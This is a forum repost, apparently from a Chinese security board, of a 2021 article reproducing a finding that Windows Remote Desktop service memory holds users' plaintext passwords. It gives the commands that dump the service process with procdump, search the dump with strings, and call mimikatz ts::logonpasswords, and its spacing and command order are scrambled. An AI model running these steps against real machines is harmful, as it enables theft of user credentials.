搜索

[1176] 2021-05-28_从svchost.exe转储RDP在线用户的明文密码

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-16
2021-05-28_从svchost.exe转储RDP在线用户的明文密码 从 s v c h o s t . e x e 转 储 R D P 在 线 用 户 的 明 文 密 码 Y 4 e r   C h a B u g   2 0 2 1 - 0 5 - 2 8 推 特 上 看 到 一 篇 推 文   h t t p s : / / t w i t t e r . c o m / j o n a s L y k / s t a t u s / 1 3 9 3 0 5 8 9 6 2 9 4 2 0 8 3 0 7 6   他 发 现 了 在 远 程 桌 面 服 务 的 内 存 中 存 储 了 用 户 明 文 密 码 ， 本 文 复 现 下 。 转 储 明 文 转 储 明 文 我 有 一 台 0 8 的 s e r v e r ， 账 号 密 码 为 。 使 用 3 3 8 9 登 录 i m a g e . p n g 运 行 如 下 命 令 转 储 远 程 桌 面 服 务 的 进 程 内 存 然 后 用 s t r i n g s 过 滤 字 符 串 发 现 确 实 抓 到 了 明 文 a d m i n i s t r a t o r   a d m i n 0 8 ! @ # n e t s t a t   - n o b   |   S e l e c t - S t r i n g   T e r m S e r v i c e   - C o n t e x t   1 . p r o c d u m p . e x e   - a c c e p t e u l a   - m a   2 8 1 2   r d p . d m p
i m a g e . p n g m i m i k a t z 发 布 了 一 个 P r e - r e l e a s e 版 本 [ 1 ] ， 提 供 了 一 键 抓 取 ， 不 过 在 2 0 0 8 上 不 起 作 用 ， 等 待 本 杰 明 继 续 更 新 。 i m a g e . p n g 思 考 思 考 其 他 进 程 中 是 否 还 有 明 文 保 存 ？ 转 储 远 程 桌 面 服 务 进 程 的 内 存 是 不 是 不 会 被 杀 软 拦 截 了 ？ W i n d o w s 是 不 是 不 安 全 了 ？ R e f e r e n c e s   P r e - r e l e a s e 版 本 :   h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s / t a g / 2 . 2 . 0 - 2 0 2 1 0 5 1 8 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！ s t r i n g s   - e l   r d p . d m p   | g r e p   a d m i n 0 8   - C 3 t s : : l o g o n p a s s w o r d s

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理